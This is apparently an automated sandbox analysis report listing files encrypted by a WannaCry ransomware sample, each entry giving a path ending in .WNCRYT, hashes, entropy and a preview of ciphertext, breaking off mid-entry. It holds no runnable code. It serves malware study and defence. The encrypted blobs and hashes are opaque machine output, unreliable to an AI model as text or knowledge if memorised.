                                                                                                      Preview:WANACRY!....8@n&.`>(...$..Z.\.C...\w.......i.S{g...g.(..=F......A9....".....Q..c.c.. .w.....$....=B....t..B.....:H..v.0...@..u.Q..-...}p6..r.....E..?RN_..V7..2..m./..>..k.u..^..#.....e...g[C.~..d.~.V.5a.AiR.7N....:. ).F.....u.......-R...*A....`..........w.......B.m.1.b.....j.....F3.$.4..2...3..!.]...R....C.R.|.G....'.A.l`...c...O...GOS/....=......|S...$%PxG..xF..H.P.i..a..O......T8o|.*)H..2Q..../.V..J..}.../.....N.9....9..U.W.4nS...$...e.NT|.P....S..j.b,e.>t..;........].....y..6....:.Z...).....!...s.>.]w..3...Wu?...:.#.,q~..}...^K.=...8.Y7k..hq.7P.Y...8..Y7.._.X...C...Oym.i......#Q~..Ap).B.V {x..v0-&...%.9$p.4.:2.....UK............4-M....M..O..............'...h ...A.p...g..).......Xc...RU...|...m.\.d.6..q..(\..........O[.....8..Ue.....#..Q-.G}..*a..9$...A.Hn..n.WB/..IR9..:e..r{4. ..d...p.p..J."...=....0..... .~...#m_..=....!.QdD.K"g#.85....E.....+._/....2..Yo.O..*..%.2...p.....L....k.~........+......g.Sy....:|.:>`tB$.....8.S..`._..S)

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):103928
                                                                                                      Entropy (8bit):7.998345979102433
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:4ITgMKAsdQmTcvEKFDgyUgBBCg6kbsrBpC9sIZIor/alpSR+Pddk4zNv8ng05Ukj:ZTHMdxB4a0pD95Zjy/PsMNvol5Ukj
                                                                                                      MD5:1436DA6A13FCCCA67843807B3F705303
                                                                                                      SHA1:E998D365ADE9FB60E7066EDA405E3958A2AACBF5
                                                                                                      SHA-256:F52136EA45DB5BFCF36C5863362D1448EFB8516C40146D8B55775DB86ED72ECA
                                                                                                      SHA-512:DB21BB461C1BC8ACEA3DF852B3E9537CF52821384C3E998D2683DC883BF13E455058E4AE4ACAAC22CD7EFED690CD3BC79C35D2E3805586145BBA3B520D324A73
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......!.0....)..Yn..vGA[!.A.Q$....A..w..)Q..... .pR.8.>E .....*.\.;....b...mF@+.oU...u.c../.'l...F*[...m.d...0Rq...*,.jH.&M._...I.Y.e..%.[.R.m.U8.D...{X.lY0...l..H...*+......Q...4....B.{..s.......{.aT..7w...y6.Mq.q.QT.]Y...v:.7/c.}.1!.;V...$s].............$^.p........c..~...D,...r..^......q`sd.{,.&..i.f.....O_.V.q...}..>A..Z6..S...%.GP.k..........O...n.FF.......E.1JE..p.?..t..6f.....N|.....g......1..)d..N...g.....;.9BxBX....9.0...,........).....*K,ucB..H...Sn.g.{...-.4Z..'..b......V.k^.....<.J.....Y4..qt..Z.O1.....|ec..0O..oO,...5v.;.5.o."Iu...03Lv;.....dE.u.I.....$..^<..o..=.b5a9Q...P.._E.!.H$.8yD...5.7@6-..lW.~..V.._.@\Kv[H.g..y.t&O.jQJ.75........0....u.0..O.....Nr......d........w....S...d...\.....|.....X...o.B............5...'.VO3...%.=..Q.8rT[.+........2.x"..#..m....R....D.,.m.;..Nb.o....X.....=..7.^...m6....... n..0".K..u.O.*;.....Sr;.5.;.[..O.*b./...W=.........`......N..2N`k.d-,#..ht.O."..9a. Br.@k..!.W}.N.._Vw..b~..cb

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):102344
                                                                                                      Entropy (8bit):7.998121056561393
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:c69dok8PnrpoNh3YMYkeI4IeqyqoDF/XKaLU7yOuWPQke+V9QKwkkZp1p:cCak8P2YMlebIFyqoBVcQh+nQhkep1p
                                                                                                      MD5:2BA6599E9FA85A6B1618B2B11C760F3A
                                                                                                      SHA1:70982DAA3586E19BA0DBBC32FB95A8B80DBF3F21
                                                                                                      SHA-256:A1396755BE3BF3A50C18FD746B97996A3A0ED5588998B25530F45E5AF5743A52
                                                                                                      SHA-512:A3B77DA2766324FF028F962335E5F647D32210A597D3F9BC11198CF3E81AA1E47AA7C1C48D900B7B826923134378E3B6BC5023FA659C022D636DC24913B412E5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....].%.C.C.H.=...Q..1.X..6.O.p*...|.UBo.....+....UIT&l..y.f)...Y..1A%CD..o!......^K..[o<..j........B3^...NP./y..Narx.*..p..].2...[:S...K$;....]58L......=.\.BY...^.....!..%R.f?. ~.yl..f.1P......A.....|.t.D.3..9..~q..10..H.....Lm.v...O7j.....kj..{...............N...+..`.#b.2.....$...Y.l<*.'U.A.p"......~.F...D.A.$.R.,mXS.~..O..g4....'..p..U......wu...s..m5.EiF[....yW+iN...D......n .t.....\..*...c....,....au..>7.e............Da.......Mqc2.....(T.J8.z......3...&s........}..a.cx...-..`=r......f2&d.......-)iX.B..z..m/...3.,.......3..k@.P..%=?.... .....\]-.....O.....W.....i......?.4...W....b:..&.3..k?k..i.....w@............o..p.4.Fh...vp....V...0.R.h..0,.;..]{[..}.C..l-!D..*..[.....X..%!Y|...-8J.>...K..dM:8:..R..k>M..K..PYJ{.7....#%&h....N.W6..Y{#.H..uT3...-a..f...|.._x./.0..Q....F.Tz......7...../.V.9...._....K.....U@..."!~....a..a....M...g.[...R.C.u.A.].f.]S.....(.<t..G.=..>....#N.[....C.......F7....wPy.ql.m..L.,g..?.. .6."@..X.a#..L~'.=

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):75240
                                                                                                      Entropy (8bit):7.997452294795668
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:NpeERLjdNMRfGhySQcL2CcyhcMfhi95QcIK7SWJdv8nWHZEm+NI2cdECHUGR+:NpnHdNlZqCcoi7I2SWJe2u6WnGo
                                                                                                      MD5:EDAED9B0FA033201870CB5C91B007384
                                                                                                      SHA1:40D52EE2AFE5C41BA006709B027E6F4DBA7E745D
                                                                                                      SHA-256:74F161461B45EA9778779D989C14736E84971F04334A86EB882335BBDFCC2801
                                                                                                      SHA-512:5CBAC9FFBC75759A48C31B58DE35EAEFFE4A02EAD7AD475BA1C957EC2B68DEE6AE868D1D5F65BBBE336CBD46D80CFFD0D20DBE4D67B444A56AC460D90091B4F2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......fS1...,.pl."Y..g........q../..^X.6~._..f.....Y........~Cx.y~.a.......3.)2*Q....R..u$.V....5..0...,.....S.../.2./..u#.+.v.W...n.....$....;.g\S..)as6....+X..;..R....b.........h...o.[..9.x.SSF..jkJ......d...!V..k.R.\..1.-#.u........l{.Q...G+.`4......$........u....?....V....B..E..<...Jp...[.z'.~.x..s...G.2..l./..s.r9$ ...L..=..@b....4.a.......ua....`*..0...<.u.$l.c....wT2..7p..:oB.t.F.......m..8.N....u..x]%...|...7.......EL_,...UJ.P....Hq..........b...O.8...-.n .F._Ez...%..-....V.VNN.}..L....JG....ta.E,.;./|.rl..$.....%.6s.L....~..h...|..x.+...{...bJ...G....0..r{.k..Y......O..'....il.4..B.JUn...*8.....~;o.&L(..9,.k7..jo[EN.NL.-.;..R..Y....KS3.:.:*..S..e3...-.O...~...x...,...`.kP...2@.....qL.3../5..6.w...x.9q....{.D.z...M....:....r?..Or....&...T_.CqQ..cn....9z.>.e..z.n*b..`...e6.9...^+...#...D.....W......T....Q..."E7.@4u...... y...` ...|....3e.......NL.N.K.....M..9....n.Cr....?25|...Y.Gaf.<:...q..j.4.l......... ..I.L.F...[17...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.99983265093667
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:5Kf+EVMOL2gFNZ5NGld3chtqL2In9Cl6+zD2bf:E+EqOFNlGliQ9adA
                                                                                                      MD5:0F06AF512A7687527D66584310229CAC
                                                                                                      SHA1:B3CFEF7DE24F6C51CD9BDCFE329FD14B0B14AF23
                                                                                                      SHA-256:0E9814D12604AAA405D00DE49FAC1704DB3AE94A6B0AE35042A842129E70FBBA
                                                                                                      SHA-512:80518E3567D52C78F74741A8CDC01CB42CB1AB3DDC0D64C2C7DFC65F6C8843DBD0CBACA7C533688E44EBBD59DA9505536B354EE73AACF588A1EF67184BFAE531
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......`bT.<..Y~'2..."...R...&..b...^..c7......Y...8......D ..J...,.V..qXFz..\.[..p.)...w.9.d..N...e.)2.a.|.L.DQ..i..!...q0.+=.......N..U.U...3.0.74..6.4r..z...8d.o.E!2+k!Cm..4}..U..h.M.b..3.w...dN...q.kr.mx..9...!MP.ZR.o[hz2.\.;s.....8P.S.p...4].~.#................nd.5.......M..c.D....q.?..i($...]. ..p..Q.1.6.../}*fU..#:....F_[.'\y.L.<|..z..8..`...._A....z..?.zH-..g....u.);N.#\.nI=.....f..Wg.....F1.*..}.6.....H.p.1.e..oEq.]#.jL0.....+..........L.....1...~&-.....@OMI...\..s)5..=...6..j..l...U...I.......o.v...^..ivB.q...,/D.9..4..Qo9......I@<.LBt*.P..0...|..Lo..A....[v~.2.....J+S..n...L.lo.c~B.i...5'...._.h.T.1.)-.....:.Q.>:[.$..3..U...Ltb.O....Mv...l../.`.....Nv.>hU..LB...O:}......>....*c..9..X.<.iklco.bx..Yi.{..6....[.)q...O...uP.........~uKe.......R.q..E_.O.qo..RdhZr..U..K...)$L..l....3x.2.&...:...+..._...}I..B...+s3Z* .GL..h..w.......BON-^.d[.~H9..H..@.3vt"G......`r.=...w.].~...,_.|&.w.."q...\.....A...z.J.Yc.......\..}.M...B..d!..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):3146008
                                                                                                      Entropy (8bit):7.999949843227166
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:sQQr4AYi+jjznOXUtcNnGZjEtOEelgaDwG5:eyHOXpNGxiOEellwE
                                                                                                      MD5:0D264948AAA619349DFF07ECDDDC7851
                                                                                                      SHA1:9075B0D92710ED3FE8F091A7BD90AE726392897E
                                                                                                      SHA-256:0A8B4B9E0AD3F06BD83ACFEF49A6E41F986C767694B7104AB9B721F3551C4C54
                                                                                                      SHA-512:5BAF18A514A0DCA00FA01A6D15E15BA8759013554035F6A5DA7A5646C598D2282E30A757FCF27A30821F1D762C0834C7744A007B719ADAFAB7AD7C95C687DE5C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......M...=x;.^g.p....]..G.PI}.i.q@.bgZ...j..D.[.G.....4.....26..;......".ID.K5...F.s$...+....s....I.\.....:$2.<kb.A.4].>.=.R.t.D.{...g..D.{..9o,........5....&2..%.&....((....,...8.......=/.ogP....[..7J.........g\.....Y.$.^\.^...qTp8.....W..M.i......0......xV..E.C...{..^...>......G..;p.?,.M....I..{....b.0.F.Z.....Fj...6.....{......q.Mj. .A`...T..t8-E.D..G.X@..........o..N..E..-X....j..%.zg....r.X.b..O.fj..i.Cq. ..0}yk.4G..!z..rx.BC....M..R.tp.t.r.V.>.8.:Vw.pQ..x...R{..da..4..O.xF..~.O/}.?>;..jOj"...?....m.......?..a5..:.....9...)...d.._b.f.....v..Qq.......l.....X.)CE.Vk2..{EB.VY..SD ....Uv..O..!wi..g...m..Y.1.#...^...h.%.>..~....S.....m.`!......q.b+..!.....b.].?..d[.K...!.N...l.......B..:..Yf..<b.........n..y]0...?Q?..fp.2...h1..q6..3.K.Hb:...[qY..'..Uc-..........g..P'h..)..Y......K%e...^u..X....8.;...f....M.>.+.J.-..J..N.l,..*........5......N_...C.{..i....D../.M...n4_......)o.2.b50/qd...T..}.x.MwG(.c....~*iC7c?...@.;yi..9....KJ;..|_.[.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2097432
                                                                                                      Entropy (8bit):7.999906457376453
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:vOQItZ5zKbO50opbPSnpy41hb3zJwTHhmOlaKWIf1:mQ85RpbSnpy4fb3zJirlatIf1
                                                                                                      MD5:55A2EB76116B868ACA7284214C6C11D5
                                                                                                      SHA1:DF071430B49049425E5FFC50109FA73C8AF595B7
                                                                                                      SHA-256:433E4BFA5D4B3DA6871F9F078E2137986F8E28DA7A430FF04AFB7E7D0328FD63
                                                                                                      SHA-512:572903D82E305B7324251F9AA447EA0EAAE45D544BECB35CB9274F531CFC6FC4DBD688FA1664F39D185871FD66FD8110205CC1C9F109A0360FCBC3B26E3D4F1C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....^.....*.8...H.,s....G.+.../2v..Fee.$....1.xE..U...p.....I......8..j.}j...u......)$.).5N~.GU.V......d5......~.....O"t.rt.Mo.P.....Y^!?......&%..z......J..e...c.v].....m=|:..R..>....@.m.u.I..s.4...).\.....OtM....G2.XIr..!..q..<...!...Fy...6/...... .......T..U.!...G-.KK;.&.v..$.IZ.`....=.*.q..8.9.He.....1.R.g.6..,....yL..V..a;..oP.....3.Wma.?....9.s7b.....\t!..w...Z....r.Mi.D...H............f.u.\.m.+...Zp.....G..g.)..]1...<:...55.".it..55TUa..&.4"...W.....B.>..]w%......3!..R...........qa.)......|...n+r.......}.J..L.<......3E/.rT..N..B.....l..-.:..@|s.x..IS.119....o...).r=>.{....[0(kM...\.?wS.\........e..G.Z.......GsmX...-~.C.V.xd........a.ib.K.OkU)=C.3..(.O..A.'...3.a..S..-.....8.w.5UJ......2D]..s...-3#bp*....4...@..k.-3..~.A.ko..s.Vm9....#..r$.].....+.....q{.,..?.ql....;b.C...#B.L..^+..U`.h..#:...3......Q3.}#...e.ob.W.....}...r.6o.j.o...i{='..Sp.K..o...H.)..G.w..{...;]..ymWX`.g....r...P...t2.....'?Bv..C...,.b...Rr...pW..pd...F

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999824783228554
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:/1romsazZCFns5HqifWX3Q6bqbHNqA8LZHWJmHVu:/5FFCFn27WwqnpLZ2EHVu
                                                                                                      MD5:8F04E070EC87B502C3B94E1EB1761428
                                                                                                      SHA1:AFE5CFA904ED76C507B59712FBC3C1A80EAF9B3B
                                                                                                      SHA-256:30C5A9C435DC5946F382509A8906C8AAC9F802EC308A757A262CFE182751D988
                                                                                                      SHA-512:286D2AC31660EB0312AE1DAE0EB43B40E25BA27ECC0660B3D24E0DEE8347A5B5D7351C602DDC8CA809D39CC9A7E4339E0702385C5B0E332015DABC861E03BB51
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....> ...)...[...,...q.Dt................wBD.D~.,_.Nd,..P..U.s...=l.Q.....5.5....N.\m.?.m).@.5..............{;k.1.............%+r.AeE.z..m.I..,. .....1F#RLU..,M..e.U.....9...R"_.2......>..PW4J..i................}q.x.O.Xfr.}i.W...U|.Z.......L..............i.a~...\..-.0..ZK..Z....=4U.....+A$....e.N..y...P..e.p.....:.6...tM........^.P...O.{.k...e.;dI(..k..&...&.g.........(..t.r.....F.!..Se5..f;Q...z...KaPh...E..81.%Nd."..HmA..(....s.....(G..S....y..JO+..i.QoP.w..4.&........t&...|)O.~.A.rF.L!J.g...|.*q.X...,.X..A.E.#}...'{.O..2......19.:.SG.$.Pzg3.....7..[z.!..x....N&G8.1@.4..@kp..!%I....._..q.....@..n..,.-.*..s....K..k./m.i`..}...U.d.m...........1U....a.".. ..[S.......;.....Q...c.p.o4.Q.*(I..n.w....4b.......=..#Y.:16..u..o-.....'....*9{..>........*.se.%s.b..#..I-.7..X3.....9.m..E.=..C.#=.k_KOOd.w6.D.1V3......*,S.~....[..c.7.x.k..-U..7..#.a[....i#...H%8j..j...R.|....c....&.1.....$h.J...*G....z.^|s.9...h..3..~Q2.^7SH......At#.....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):58600
                                                                                                      Entropy (8bit):7.996672253638282
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:tNfAN0mdXP8rJ4RLJhVZu0KgFLPogo1vwb:tNvIYJ4R+bgwa
                                                                                                      MD5:D29F60E9B6838A4A418525E7224CA46E
                                                                                                      SHA1:DCB5CAE5A5776491C6F2BC95BE14182B1062F4FB
                                                                                                      SHA-256:6AF015088AEFE7F33679158BEE3E44628029F9010F1D9C98A496E5B8BD2A45A0
                                                                                                      SHA-512:08F3A36F066AB9BB05BF475AC3BDDEB5D8691632DEAC311C52E7D66D7126A77159FDB6608A8FC540926DF137C35E3252C4F84F2264109156323A488A8A0EB76A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....(.m...WO..N...s.$.......8o{.V.9l....:..*......Q......L.H...41J./....0.~^....i.jM..).z.&....-..]k.(_.....f.....X.^K..g. fd..?..J...D...I$._...e.9..;.G..'...K.wf.5\..<......g.,@L....h>z.b%...>.+... .O.B..FiW..b>.c.i}..9.re..4.(....-R..W..Tc..NE...............l.qu.....n..6.Y...4..w.:..WGI0J..K.H.w1..@.._.8$..<..k....M,.*.f.'..{..1c.(Xd(.......H.....I....+.7...C.h...JOtg.sZ./..M...$7*.=..?{....H.L...R&..d....85..=..\.#...._.U....o..{|..~B..d..T6...8..&a..z...np..o"!......F..u..1.8..7.........?..........":......|.g~..K...M.O..D]..........$...2FD....5R.r.~f...[.+.}.F_...^J_.J.+Pa...EU.e.|wE<i..s...R...y.i._..06scukbvw...o.. M..........S..F.v9>........G.*.+n.I[.....Mi4...3j.g&F..}&.-.I.EWB:@.]..^..c;..(w......Z<ouM...A.....?U.%./....$.:r...3...r.c..0.....s...&..m...L..*]..}n.PR..*....&..Fz.p3k....=...A....X`V[FT...M....1Wy.^.(F.+...FaJn...ot..FQ.BB..6..o.^?xM.{_.....f..[3..H.......TR....f....Q.8..L..d.,h....@.k%1...'....x.yM.5n.*4.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999802360109798
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:lWdVKqgMKvzhrXehUrzXlJKRjjcZOeEuNU+c6eL:lLMeuhUrrKtp6u
                                                                                                      MD5:879D75DD0FC7B345C22145B7878556F0
                                                                                                      SHA1:5127046CB8094723B540BA84019FBE41C1FDAE9D
                                                                                                      SHA-256:90504E80BD9831730EC6B80965DF02F6C70070C58C0C2B5014AB8F1C1E94D7E6
                                                                                                      SHA-512:BB71C166A332423E677F75E7A0B2E8F735E2DCA824C36B85825632226F3B53B142A4A1D65DA9C1886F86DA00C8B7ED36C13AB13B5B5FD93D37EAB423E5BC7A89
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....k.....3)...j...3.....I.F.....D..K........8.7(1.IH.'.z.&,z5nz.."...v.I.(.3.a.d.|.vkS&.4..^..+..0.j...o...$...9..B_...6.8(........+_>.M.F4..n.u.#.8$.S])...S.oXn....s...IN....<.S=.....}.[v.]q.#.1D'|p%.#1.*@...I..w....(....o..x%L}8K&.m'A`.B.-...............0v[..^#.~...|...#t4Z.7wFh..0...2...h..Y.....h..49..*. eaV=..B>...p../.p..9....3t..h0..).Y............q>%S-.....@..5......2+.wnn......x..g.J.F.T-.8).....K..N.5^.3,...~.d........>q.I.3].DF}'..J............E.....F...0...F*+......#W..qLJ...>.Nx%-|.3L.o.!.....SY.|k...v`...O.i*-..Z]..<VJ0U. .q.-(.?....7Ih.B....#.9.........h..p.vI..S...w......".o......M.dAM.R]ZE......l.......q.L7..N.7.?.+J)....w..,.. .3O.....K...y.L1...}...<>..}j.$R._..J...B|l.h..[.)_KK:..L..Y......06..|.....Jj......O..+p.4...{......5..b....nA?.c.Na..`wcW.-.5.-m0..,...I..cw ....<7%..-.&..U..#*Ye...3.........T.9.5.rL...U.$E.":.PT.........+......|.eSw..d......s~/.3/.m.$..'.OK.....K.L......Ki..E.5..<ow....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999797585109893
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:g5Z5xbvwDTmalQOJtw9/a8pvWsMl/7jYR9bleAZ7IgoDX:g5Z5y+79l+n/7jYRve/DX
                                                                                                      MD5:51CAAEE0D63FE9D6A576F920F8FFC48B
                                                                                                      SHA1:ADD17CF8DC1B44417F7D73A19ED72D195DE76D7A
                                                                                                      SHA-256:1772FA7FC32BD8E2BCAFD0A35EFD3175AD48E79B17C8A5A63F4F62DBF712FBE1
                                                                                                      SHA-512:70C86BAB980AC395FAAAAD142EFF423E8AE7906BE4E219A51F746B645057EF0B6899ABC2C5A33C8A9F1DD3264E1F960C95D496E7816AA029D07BD5291565670A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......]..n..E.W..M..uOIKX']..Z..}....P..q.>.yC.8?.+....,fL1....{..:!..of.j.a.@..)..~C!V ..!.u...........0N.4....!...Ku^....mde..].QG.........}cUs&.Sry...gC.Y:(.~\..:|W.{.i.=e.. .G)I..x..-.......N..2k.....F...u..'..S..Z..Cn . q\.J..1'{m....<..*.l.cV...W..................u.!/......Z..<~.F!..9u..+v8..n)..p>..]...M703.K8H1.\...r/.n..Fz-...Po....0.>.l.....O9.f.%.....uZ..`.7s!........A]..........)..{.Z.Y...758Z..*e[.........un.+....4....|..4H..v.M.tK..w..^^!c..=c.k.*...'...~..H...&.n..}..8y.c.<K4k.@.J.T..W.b.......1..z..\..k_G.y..9.!V,..w..-?7.y..._G.+....G._......a................Gc..c.3....x.9o..e.?w.>.a...kj...8]....i...@........BR..$.).S_.}P.!.....9.../.|...A..5.r.v......p.:..J.......)...........=+.q..'.n,%..>.....le.zy/..:.*.uK.a,.X..?..p.{.1...H.......2]..=.eO..-|[\.}&.q...E.sZ.T.;.Ap.e.......]..H../......j.z.....D?XS.h.a.....=.UM..<KS..a...rJ.vB.....w..^..L...K...t...~^.Rx...\7..4..T.h.(...S...........J.@k%w.......,!...1_.....P...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999809544053892
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:jC7Mzxi6BfSFEh1tLHhCNFsNkVWYaKXz8qRy83uP1ORbdMmR:jCSzAEztL2hz/wDKuP1OZeg
                                                                                                      MD5:066043EAF8C8022F2575186F6E6C8CEF
                                                                                                      SHA1:6A06C402D20A7FD00153008AFF1523C49EB2FE17
                                                                                                      SHA-256:9897BFA2465E230E57995462E00B7B2EA8944147CAB9327A73DA7BC89EA154F4
                                                                                                      SHA-512:93313E0664EAB96C5248DECAC680CEAF9AB6B04A269BD15C9E0DDAC7AB5A39EB869F0FD617D4D691701AA3F015D93F71A94FA54EF05687DC2A3656DAD31C0307
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....o."..".N?.f...Q"Xm..*W.........c._.Xd.<&....3l.,G.<.J.C.....G..3.%.=.U....O .]Ut.d2.W...-.nD.I.*...&&z..oZn?:....$y.v...:....RS...H...2zPW..>@..6{(.a.=.n.5bZ..;..r#.L.}........|/d?..M....OA..z}.F...........qk..W..$...?.E..4....c.[~...<.._..tg...............f...zRP..d...K.Q..<..\x7.J.....Q.].t...........9.F.r.N..q$..-...$@EZ-.....{..9....&AX./..+._A.\ R...G...*ePK.ni.\....O.Oh....&......9.......o..g....e.C...v#......(........[..G...gk.rF)...,.......8.....j.1.Q.*..M......W&...\..c.*f.D...b..~R.n..:...+.../:..f..6?$.!k.zq...n.LFd.b...Ot.X4..V(.H[.../.....s.Z.....LWI^........B.=..yk.U.BS.!j.C$M....,g..B"$..)....e(2..C..O5..*;......L".5....NF......X"...........[..]..}.p.L......"~.t...u.U..E....i.:....g.2Ow....$..3..6.'k.-..6.O.@.5.T.."W.D....2.Y"8..u..r.D.^...F.2..../.......V...J....P.a._..Lp.1.}........u.....D..m....}....e...3w|.U<%4.u.'.....[....F;J.T.n.,...+X..1$5......Z]/e.t....rb.}.v....6.W..?L..3...(....}|h.......!...H.Xac...|.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999810763557787
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:KJ2UxzFXcSEI75pGZehE5QN77jpImkfzjitdP5F/kEZAjwD75U4s4cN:KJdzrvGZkk8L0fzjQ5uae4M
                                                                                                      MD5:2535518D4B9862BF246DFF0D49F37D5E
                                                                                                      SHA1:F51A2A2DB4C3D2C2233B81CFA6B9889242F73608
                                                                                                      SHA-256:45FFA9F728E9506F628CAC4F826C6396E53E1109276A10841C8DF607540854ED
                                                                                                      SHA-512:8A144F858D6ABA901566DCECB21B975EBF26D506EA7A0BC1BA82BFACDC9A947F05D41E8ED0ABFA887332A02EC6A11B2402DA4C40305DBBD446347011993EBB88
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....RT.F.a.V......s..@......G...;5...z..D.1......n..}C..Y..M.8.=}....@\.....r.FM#;a..Q...'v$N....G..Q....v....b7.`........s......r/]..'...n..x.!..Ie.U8V?.(..6..[^yL.*...!Q.]........=.,.h..>......!.e.VHS).KM....9Ve.~......).R...E"....I.].........................*.RL$.Yi...+D.d..L7...a..!|..g.E...1D..s._......0y%oUu..@....C.... .l&.3...C..B...Mp...l..NP.x$......q....5Te.n.0..s.\n..yg..|...0w.....iT.Vc.......z.~..1gs......V.....u......rd.A....}.|.......k[...8'D...rc..`.X$.N...C&...._.fu.b. .........u/.......@...}..yk.`...%{A..P0.T6.GX Z.?q..h-.'.H.z.H..%.x</.......m@..b.%HO.&...DjX...)6.....<..wT...".....3L>#;.g..HqV.,..uE]..u<..ms.k..!<.?^..."S.,..iH....q.......d.Go..:..L0......E.X............"..7&...9..Xx.W.)..:..6.....Im.=.Ja.7...ab...."....j.Np...y...._..z...9a........1. .1........'...VC...KN.6.q....b^..T.6#t.%U.}.kV.&.S=^b.V..nT..}....o.j.2k.oI..@u+Z[..t.p.f..-.j./3y.m.0.@.v...c.m....?..,... .6.sR.^.#.T42..@..>...F..$5.H.....$..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4194584
                                                                                                      Entropy (8bit):7.999951037869483
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:YfjE1miRl8fRnVXFBB49Cz2vWiH0iydD/PwfIU5iYM8X6lYS:2jE1bRufRxMTvWmydJU3w
                                                                                                      MD5:0268CD6D7B0AE62DF2EFD04CC8BF1FAA
